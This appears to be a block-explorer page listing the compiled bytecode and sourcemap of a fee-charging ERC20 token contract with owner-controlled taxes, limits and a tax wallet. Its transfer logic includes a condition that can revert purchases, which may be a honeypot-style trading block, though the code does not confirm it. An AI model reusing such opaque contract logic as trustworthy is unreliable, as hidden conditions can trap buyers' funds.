031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ac573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d191906115ac565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b03640100000000909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5291906115d7565b50600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ace5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610b2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f8111610cb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b5f80546001600160a01b03858116911614801590610ce157505f546001600160a01b03848116911614155b15610df157610d066064610d006005548561114f90919063ffffffff16565b906111d4565b600c549091506001600160a01b038481169116148015610d2f57506001600160a01b0384163014155b15610d6357610d4e6064610d006006548561114f90919063ffffffff16565b600b5490915060030b61089914610d63575f80fd5b305f90815260016020526040902054600c54600160a81b900460ff16158015610d995750600c546001600160a01b038581169116145b8015610dae5750600c54600160b01b900460ff165b8015610dbb575060095481115b15610def57610ddd610dd884610dd384600a54611215565b611215565b610f66565b478015610ded57610ded47611118565b505b505b8015610e6957305f90815260016020526040902054610e109082611229565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e609085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e8b9083611287565b6001600160a01b0385165f90815260016020526040902055610ece610eb08383611287565b6001600160a01b0385165f9081526001602052604090205490611229565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f178585611287565b60405190815260200160405180910390a350505050565b5f8184841115610f515760405162461bcd60e51b81526004016104be91906112f4565b505f610f5d84866115f6565b95945050505050565b600c805460ff60a81b1916600160a81b179055801561110857600c54600160a01b900460ff1615611108576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fc457610fc4611609565b60200260200101906001600160a01b031690816001600160a01b031681525050600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611035573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110599190611591565b8160018151811061106c5761106c611609565b6001600160a01b039283166020918202929092010152600b5461109a91309164010000000090041684610a6c565b600b5460405163791ac94760e01b81526401000000009091046001600160a01b03169063791ac947906110d99085905f9086903090429060040161161d565b5f604051808303815f87803b1580156110f0575f80fd5b505af1158015611102573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105a3573d5f803e3d5ffd5b5f825f0361115e57505f610408565b5f6111698385611526565b9050826111768583611572565b146111cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b9392505050565b5f6111cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c8565b5f81831161122357826111cd565b50919050565b5f80611235838561168c565b9050838110156111cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b5f6111cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b5f81836112e85760405162461bcd60e51b81526004016104be91906112f4565b505f610f5d8486611572565b5f6020808352835180828501525f5b8181101561131f57858101830151858201604001528201611303565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610553575f80fd5b5f8060408385031215611364575f80fd5b823561136f8161133f565b946020939093013593505050565b5f805f6060848603121561138f575f80fd5b833561139a8161133f565b925060208401356113aa8161133f565b929592945050506040919091013590565b5f602082840312156113cb575f80fd5b81356111cd8161133f565b5f602082840312156113e6575f80fd5b5035919050565b5f80604083850312156113fe575f80fd5b82356114098161133f565b915060208301356114198161133f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561147257815f190482111561145857611458611424565b8085161561146557918102915b93841c939080029061143d565b509250929050565b5f8261148857506001610408565b8161149457505f610408565b81600181146114aa57600281146114b4576114d0565b6001915050610408565b60ff8411156114c5576114c5611424565b50506001821b610408565b5060208310610133831016604e8410600b84101617156114f3575081810a610408565b6114fd8383611438565b805f190482111561151057611510611424565b029392505050565b5f6111cd60ff84168361147a565b808202811582820484141761040857610408611424565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261158c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156115a1575f80fd5b81516111cd8161133f565b5f805f606084860312156115be575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115e7575f80fd5b815180151581146111cd575f80fd5b8181038181111561040857610408611424565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561166b5784516001600160a01b031683529383019391830191600101611646565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104085761040861142456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021f1ebb164cc3194b236be9e53bdc74cce8f966fdd0765f3643bfc4babe97b7964736f6c63430008150033

Deployed Bytecode Sourcemap

3929:7182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5461:83;;;;;;;;;;-1:-1:-1;5531:5:0;;;;;;;;;;;-1:-1:-1;;;5531:5:0;;;;5461:83;;;;5531:5;5461:83;:::i;:::-;;;;;;;;6294:161;;;;;;;;;;-1:-1:-1;6294:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6294:161:0;1023:187:1;4708:43:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4708:43:0;1215:177:1;5738:95:0;;;;;;;;;;;;;:::i;6463:313::-;;;;;;;;;;-1:-1:-1;6463:313:0;;;;;:::i;:::-;;:::i;5647:83::-;;;;;;;;;;-1:-1:-1;5647:83:0;;4364:1;2000:36:1;;1988:2;1973:18;5647:83:0;1858:184:1;8691:117:0;;;;;;;;;;-1:-1:-1;8691:117:0;;;;;:::i;:::-;;:::i;:::-;;8816:156;;;;;;;;;;-1:-1:-1;8816:156:0;;;;;:::i;:::-;;:::i;10760:348::-;;;;;;;;;;;;;:::i;8980:137::-;;;;;;;;;;-1:-1:-1;8980:137:0;;;;;:::i;:::-;;:::i;5841:119::-;;;;;;;;;;-1:-1:-1;5841:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5934:18:0;5907:7;5934:18;;;:9;:18;;;;;;;5841:119;3010:148;;;;;;;;;;;;;:::i;4560:37::-;;;;;;;;;;;;;;;;2796:79;;;;;;;;;;-1:-1:-1;2834:7:0;2861:6;2796:79;;-1:-1:-1;;;;;2861:6:0;;;2890:51:1;;2878:2;2863:18;2796:79:0;2744:203:1;4604:40:0;;;;;;;;;;;;;;;;9125:142;;;;;;;;;;-1:-1:-1;9125:142:0;;;;;:::i;:::-;;:::i;5968:167::-;;;;;;;;;;-1:-1:-1;5968:167:0;;;;;:::i;:::-;;:::i;4651:50::-;;;;;;;;;;;;;;;;10044:671;;;;;;;;;;;;;:::i;8605:78::-;;;;;;;;;;;;8662:9;:13;;-1:-1:-1;;8662:13:0;8674:1;8662:13;;;8605:78;6143:143;;;;;;;;;;-1:-1:-1;6143:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6251:18:0;;;6224:7;6251:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6143:143;6294:161;6369:4;6386:39;631:10;6409:7;6418:6;6386:8;:39::i;:::-;-1:-1:-1;6443:4:0;6294:161;;;;;:::o;5738:95::-;5791:7;4420:13;4364:1;4420:2;:13;:::i;:::-;4407:26;;:10;:26;:::i;:::-;5811:14;;5738:95;:::o;6463:313::-;6561:4;6578:36;6588:6;6596:9;6607:6;6578:9;:36::i;:::-;6625:121;6634:6;631:10;6656:89;6694:6;6656:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6656:19:0;;;;;;:11;:19;;;;;;;;631:10;6656:33;;;;;;;;;;:37;:89::i;:::-;6625:8;:121::i;:::-;-1:-1:-1;6764:4:0;6463:313;;;;;:::o;8691:117::-;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;;;;;;;;;8778:10:::1;:22:::0;;-1:-1:-1;;;;;;8778:22:0::1;-1:-1:-1::0;;;;;8778:22:0;;;::::1;::::0;;;::::1;::::0;;8691:117::o;8816:156::-;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;8929:3:::1;8920:8:::0;4420:13:::1;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;:::-;8910:18;;;;:::i;:::-;:22;;;;:::i;:::-;8895:12;:37:::0;8962:1:::1;8951:12:::0;::::1;;8943:21;;;::::0;::::1;;8816:156:::0;:::o;10760:348::-;10824:10;;-1:-1:-1;;;;;10824:10:0;631;-1:-1:-1;;;;;10810:24:0;;10802:33;;;;;;10885:4;10846:20;5934:18;;;:9;:18;;;;;;10905:14;;10902:73;;10933:30;10950:12;10933:16;:30::i;:::-;11004:21;11039:12;;11036:65;;11065:24;11078:10;11065:12;:24::i;:::-;10791:317;;10760:348::o;8980:137::-;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;9051:12:::1;:24:::0;;;9094:14;::::1;;9086:23;;;::::0;::::1;3010:148:::0;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;3117:1:::1;3101:6:::0;;3080:40:::1;::::0;-1:-1:-1;;;;;3101:6:0;;::::1;::::0;3080:40:::1;::::0;3117:1;;3080:40:::1;3148:1;3131:19:::0;;-1:-1:-1;;;;;;3131:19:0::1;::::0;;3010:148::o;9125:142::-;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;9198:13:::1;:26:::0;;;9257:1:::1;9243:15:::0;::::1;;9235:24;;;::::0;::::1;5968:167:::0;6046:4;6063:42;631:10;6087:9;6098:6;6063:9;:42::i;10044:671::-;2923:6;;-1:-1:-1;;;;;2923:6:0;631:10;2923:22;2915:67;;;;-1:-1:-1;;;2915:67:0;;;;;;;:::i;:::-;10108:11:::1;::::0;-1:-1:-1;;;10108:11:0;::::1;;;10107:12;10099:47;;;::::0;-1:-1:-1;;;10099:47:0;;5818:2:1;10099:47:0::1;::::0;::::1;5800:21:1::0;5857:2;5837:18;;;5830:30;5896:25;5876:18;;;5869:53;5939:18;;10099:47:0::1;5616:347:1::0;10099:47:0::1;10157:15;:80:::0;;-1:-1:-1;;;;;;10157:80:0::1;::::0;::::1;::::0;;;;10248:58:::1;::::0;10265:4:::1;::::0;-1:-1:-1;;;;;10157:80:0;10280:15;;::::1;;4420:13;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;10248:58::-;10351:15;;;;;;;;;-1:-1:-1::0;;;;;10351:15:0::1;-1:-1:-1::0;;;;;10351:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10333:55:0::1;;10397:4;10404:15;;;;;;;;;-1:-1:-1::0;;;;;10404:15:0::1;-1:-1:-1::0;;;;;10404:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10333:94;::::0;-1:-1:-1;;;;;;10333:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6454:15:1;;;10333:94:0::1;::::0;::::1;6436:34:1::0;6506:15;;6486:18;;;6479:43;6371:18;;10333:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10317:13;:110:::0;;-1:-1:-1;;;;;10317:110:0;;::::1;-1:-1:-1::0;;;;;;10317:110:0;;::::1;;::::0;;10438:15:::1;::::0;;;::::1;;:31;10477:21;10508:4;10514:24;10508:4:::0;-1:-1:-1;;;;;5934:18:0;5907:7;5934:18;;;:9;:18;;;;;;;5841:119;10514:24:::1;10539:1;10541::::0;10543:7:::1;2834::::0;2861:6;-1:-1:-1;;;;;2861:6:0;;2796:79;10543:7:::1;10438:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10438:129:0;;;-1:-1:-1;;;;;6892:15:1;;;10438:129:0::1;::::0;::::1;6874:34:1::0;6924:18;;;6917:34;;;;6967:18;;;6960:34;;;;7010:18;;;7003:34;7074:15;;;7053:19;;;7046:44;10551:15:0::1;7106:19:1::0;;;7099:35;6808:19;;10438:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10585:13:0::1;::::0;10616:15:::1;::::0;10578:71:::1;::::0;-1:-1:-1;;;10578:71:0;;-1:-1:-1;;;;;10616:15:0;;;::::1;::::0;::::1;;10578:71:::0;::::1;7630:51:1::0;-1:-1:-1;;7697:18:1;;;7690:34;10585:13:0;::::1;::::0;-1:-1:-1;10578:29:0::1;::::0;7603:18:1;;10578:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10660:11:0::1;:18:::0;;-1:-1:-1;;;;10689:18:0;-1:-1:-1;;;10689:18:0;;;10044:671::o;6784:335::-;-1:-1:-1;;;;;6877:19:0;;6869:68;;;;-1:-1:-1;;;6869:68:0;;8219:2:1;6869:68:0;;;8201:21:1;8258:2;8238:18;;;8231:30;8297:34;8277:18;;;8270:62;-1:-1:-1;;;8348:18:1;;;8341:34;8392:19;;6869:68:0;8017:400:1;6869:68:0;-1:-1:-1;;;;;6956:21:0;;6948:68;;;;-1:-1:-1;;;6948:68:0;;8624:2:1;6948:68:0;;;8606:21:1;8663:2;8643:18;;;8636:30;8702:34;8682:18;;;8675:62;-1:-1:-1;;;8753:18:1;;;8746:32;8795:19;;6948:68:0;8422:398:1;6948:68:0;-1:-1:-1;;;;;7027:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7079:32;;1361:25:1;;;7079:32:0;;1334:18:1;7079:32:0;;;;;;;6784:335;;;:::o;7127:1470::-;-1:-1:-1;;;;;7215:18:0;;7207:68;;;;-1:-1:-1;;;7207:68:0;;9027:2:1;7207:68:0;;;9009:21:1;9066:2;9046:18;;;9039:30;9105:34;9085:18;;;9078:62;-1:-1:-1;;;9156:18:1;;;9149:35;9201:19;;7207:68:0;8825:401:1;7207:68:0;-1:-1:-1;;;;;7294:16:0;;7286:64;;;;-1:-1:-1;;;7286:64:0;;9433:2:1;7286:64:0;;;9415:21:1;9472:2;9452:18;;;9445:30;9511:34;9491:18;;;9484:62;-1:-1:-1;;;9562:18:1;;;9555:33;9605:19;;7286:64:0;9231:399:1;7286:64:0;7378:1;7369:6;:10;7361:64;;;;-1:-1:-1;;;7361:64:0;;9837:2:1;7361:64:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:34;9895:18;;;9888:62;-1:-1:-1;;;9966:18:1;;;9959:39;10015:19;;7361:64:0;9635:405:1;7361:64:0;7436:17;2861:6;;-1:-1:-1;;;;;7470:15:0;;;2861:6;;7470:15;;;;:32;;-1:-1:-1;2834:7:0;2861:6;-1:-1:-1;;;;;7489:13:0;;;2861:6;;7489:13;;7470:32;7466:775;;;7535:33;7564:3;7535:24;7546:12;;7535:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;7592:13;;7523:45;;-1:-1:-1;;;;;;7586:19:0;;;7592:13;;7586:19;:43;;;;-1:-1:-1;;;;;;7609:20:0;;7624:4;7609:20;;7586:43;7583:174;;;7662:34;7692:3;7662:25;7673:13;;7662:6;:10;;:25;;;;:::i;:34::-;7723:9;;7650:46;;-1:-1:-1;7723:9:0;;7736:4;7723:17;7715:26;;;;;;7822:4;7773:28;5934:18;;;:9;:18;;;;;;7848:6;;-1:-1:-1;;;7848:6:0;;;;7847:7;:30;;;;-1:-1:-1;7864:13:0;;-1:-1:-1;;;;;7858:19:0;;;7864:13;;7858:19;7847:30;:45;;;;-1:-1:-1;7881:11:0;;-1:-1:-1;;;7881:11:0;;;;7847:45;:87;;;;;7917:17;;7896:20;:38;7847:87;7843:387;;;7955:67;7972:49;7976:6;7983:37;7987:20;8008:11;;7983:3;:37::i;:::-;7972:3;:49::i;:::-;7955:16;:67::i;:::-;8070:21;8113:22;;8110:105;;8160:35;8173:21;8160:12;:35::i;:::-;7936:294;7843:387;7504:737;7466:775;8256:11;;8253:161;;8324:4;8306:24;;;;:9;:24;;;;;;:39;;8335:9;8306:28;:39::i;:::-;8299:4;8281:24;;;;:9;:24;;;;;;;:64;;;;8363:39;;-1:-1:-1;;;;;8363:39:0;;;;;;;8392:9;1361:25:1;;1349:2;1334:18;;1215:177;8363:39:0;;;;;;;;8253:161;-1:-1:-1;;;;;8440:15:0;;;;;;:9;:15;;;;;;:27;;8460:6;8440:19;:27::i;:::-;-1:-1:-1;;;;;8424:15:0;;;;;;:9;:15;;;;;:43;8492:40;8510:21;:6;8521:9;8510:10;:21::i;:::-;-1:-1:-1;;;;;8492:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8478:13:0;;;;;;;:9;:13;;;;;:54;;;;8548:41;;;8567:21;:6;8578:9;8567:10;:21::i;:::-;8548:41;;1361:25:1;;;1349:2;1334:18;8548:41:0;;;;;;;7196:1401;7127:1470;;;:::o;1688:190::-;1774:7;1810:12;1802:6;;;;1794:29;;;;-1:-1:-1;;;1794:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1834:9:0;1846:5;1850:1;1846;:5;:::i;:::-;1834:17;1688:190;-1:-1:-1;;;;;1688:190:0:o;9381:555::-;5070:6;:13;;-1:-1:-1;;;;5070:13:0;-1:-1:-1;;;5070:13:0;;;9459:27;;9478:7:::1;9459:27;9500:11;::::0;-1:-1:-1;;;9500:11:0;::::1;;;9496:25:::0;9513:7:::1;9496:25;9555:16;::::0;;9569:1:::1;9555:16:::0;;;;;::::1;::::0;;9531:21:::1;::::0;9555:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9555:16:0::1;9531:40;;9600:4;9582;9587:1;9582:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9582:23:0::1;;;-1:-1:-1::0;;;;;9582:23:0::1;;;::::0;::::1;9626:15;;;;;;;;;-1:-1:-1::0;;;;;9626:15:0::1;-1:-1:-1::0;;;;;9626:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9616:4;9621:1;9616:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9616:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9691:15:::1;::::0;9659:62:::1;::::0;9676:4:::1;::::0;9691:15;;::::1;;9709:11:::0;9659:8:::1;:62::i;:::-;9732:15;::::0;:196:::1;::::0;-1:-1:-1;;;9732:196:0;;:15;;;::::1;-1:-1:-1::0;;;;;9732:15:0::1;::::0;:66:::1;::::0;:196:::1;::::0;9813:11;;9839:1:::1;::::0;9855:4;;9882::::1;::::0;9902:15:::1;::::0;9732::::1;:196;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9448:488;5094:1;-1:-1:-1::0;5106:6:0;:14;;-1:-1:-1;;;;5106:14:0;;;9381:555::o;9944:92::-;10001:10;;:27;;-1:-1:-1;;;;;10001:10:0;;;;:27;;;;;10021:6;;10001:10;:27;:10;:27;10021:6;10001:10;:27;;;;;;;;;;;;;;;;;;;1886:246;1944:7;1968:1;1973;1968:6;1964:47;;-1:-1:-1;1998:1:0;1991:8;;1964:47;2021:9;2033:5;2037:1;2033;:5;:::i;:::-;2021:17;-1:-1:-1;2066:1:0;2057:5;2061:1;2021:17;2057:5;:::i;:::-;:10;2049:56;;;;-1:-1:-1;;;2049:56:0;;11629:2:1;2049:56:0;;;11611:21:1;11668:2;11648:18;;;11641:30;11707:34;11687:18;;;11680:62;-1:-1:-1;;;11758:18:1;;;11751:31;11799:19;;2049:56:0;11427:397:1;2049:56:0;2123:1;1886:246;-1:-1:-1;;;1886:246:0:o;2140:132::-;2198:7;2225:39;2229:1;2232;2225:39;;;;;;;;;;;;;;;;;:3;:39::i;9275:98::-;9332:7;9359:1;9357;:3;9356:9;;9364:1;9356:9;;;-1:-1:-1;9362:1:0;9275:98;-1:-1:-1;9275:98:0:o;1357:179::-;1415:7;;1447:5;1451:1;1447;:5;:::i;:::-;1435:17;;1476:1;1471;:6;;1463:46;;;;-1:-1:-1;;;1463:46:0;;12161:2:1;1463:46:0;;;12143:21:1;12200:2;12180:18;;;12173:30;12239:29;12219:18;;;12212:57;12286:18;;1463:46:0;11959:351:1;1544:136:0;1602:7;1629:43;1633:1;1636;1629:43;;;;;;;;;;;;;;;;;:3;:43::i;2280:189::-;2366:7;2401:12;2394:5;2386:28;;;;-1:-1:-1;;;2386:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2425:9:0;2437:5;2441:1;2437;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:31;:::i;2307:180::-;2366:6;2419:2;2407:9;2398:7;2394:23;2390:32;2387:52;;;2435:1;2432;2425:12;2387:52;-1:-1:-1;2458:23:1;;2307:180;-1:-1:-1;2307:180:1:o;2952:388::-;3020:6;3028;3081:2;3069:9;3060:7;3056:23;3052:32;3049:52;;;3097:1;3094;3087:12;3049:52;3136:9;3123:23;3155:31;3180:5;3155:31;:::i;:::-;3205:5;-1:-1:-1;3262:2:1;3247:18;;3234:32;3275:33;3234:32;3275:33;:::i;:::-;3327:7;3317:17;;;2952:388;;;;;:::o;3345:127::-;3406:10;3401:3;3397:20;3394:1;3387:31;3437:4;3434:1;3427:15;3461:4;3458:1;3451:15;3477:422;3566:1;3609:5;3566:1;3623:270;3644:7;3634:8;3631:21;3623:270;;;3703:4;3699:1;3695:6;3691:17;3685:4;3682:27;3679:53;;;3712:18;;:::i;:::-;3762:7;3752:8;3748:22;3745:55;;;3782:16;;;;3745:55;3861:22;;;;3821:15;;;;3623:270;;;3627:3;3477:422;;;;;:::o;3904:806::-;3953:5;3983:8;3973:80;;-1:-1:-1;4024:1:1;4038:5;;3973:80;4072:4;4062:76;;-1:-1:-1;4109:1:1;4123:5;;4062:76;4154:4;4172:1;4167:59;;;;4240:1;4235:130;;;;4147:218;;4167:59;4197:1;4188:10;;4211:5;;;4235:130;4272:3;4262:8;4259:17;4256:43;;;4279:18;;:::i;:::-;-1:-1:-1;;4335:1:1;4321:16;;4350:5;;4147:218;;4449:2;4439:8;4436:16;4430:3;4424:4;4421:13;4417:36;4411:2;4401:8;4398:16;4393:2;4387:4;4384:12;4380:35;4377:77;4374:159;;;-1:-1:-1;4486:19:1;;;4518:5;;4374:159;4565:34;4590:8;4584:4;4565:34;:::i;:::-;4635:6;4631:1;4627:6;4623:19;4614:7;4611:32;4608:58;;;4646:18;;:::i;:::-;4684:20;;3904:806;-1:-1:-1;;;3904:806:1:o;4715:140::-;4773:5;4802:47;4843:4;4833:8;4829:19;4823:4;4802:47;:::i;4860:168::-;4933:9;;;4964;;4981:15;;;4975:22;;4961:37;4951:71;;5002:18;;:::i;5033:356::-;5235:2;5217:21;;;5254:18;;;5247:30;5313:34;5308:2;5293:18;;5286:62;5380:2;5365:18;;5033:356::o;5394:217::-;5434:1;5460;5450:132;;5504:10;5499:3;5495:20;5492:1;5485:31;5539:4;5536:1;5529:15;5567:4;5564:1;5557:15;5450:132;-1:-1:-1;5596:9:1;;5394:217::o;5968:251::-;6038:6;6091:2;6079:9;6070:7;6066:23;6062:32;6059:52;;;6107:1;6104;6097:12;6059:52;6139:9;6133:16;6158:31;6183:5;6158:31;:::i;7145:306::-;7233:6;7241;7249;7302:2;7290:9;7281:7;7277:23;7273:32;7270:52;;;7318:1;7315;7308:12;7270:52;7347:9;7341:16;7331:26;;7397:2;7386:9;7382:18;7376:25;7366:35;;7441:2;7430:9;7426:18;7420:25;7410:35;;7145:306;;;;;:::o;7735:277::-;7802:6;7855:2;7843:9;7834:7;7830:23;7826:32;7823:52;;;7871:1;7868;7861:12;7823:52;7903:9;7897:16;7956:5;7949:13;7942:21;7935:5;7932:32;7922:60;;7978:1;7975;7968:12;10045:128;10112:9;;;10133:11;;;10130:37;;;10147:18;;:::i;10310:127::-;10371:10;10366:3;10362:20;10359:1;10352:31;10402:4;10399:1;10392:15;10426:4;10423:1;10416:15;10442:980;10704:4;10752:3;10741:9;10737:19;10783:6;10772:9;10765:25;10809:2;10847:6;10842:2;10831:9;10827:18;10820:34;10890:3;10885:2;10874:9;10870:18;10863:31;10914:6;10949;10943:13;10980:6;10972;10965:22;11018:3;11007:9;11003:19;10996:26;;11057:2;11049:6;11045:15;11031:29;;11078:1;11088:195;11102:6;11099:1;11096:13;11088:195;;;11167:13;;-1:-1:-1;;;;;11163:39:1;11151:52;;11258:15;;;;11223:12;;;;11199:1;11117:9;11088:195;;;-1:-1:-1;;;;;;;11339:32:1;;;;11334:2;11319:18;;11312:60;-1:-1:-1;;;11403:3:1;11388:19;11381:35;11300:3;10442:980;-1:-1:-1;;;10442:980:1:o;11829:125::-;11894:9;;;11915:10;;;11912:36;;;11928:18;;:::i

Swarm Source

ipfs://21f1ebb164cc3194b236be9e53bdc74cce8f966fdd0765f3643bfc4babe97b79
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.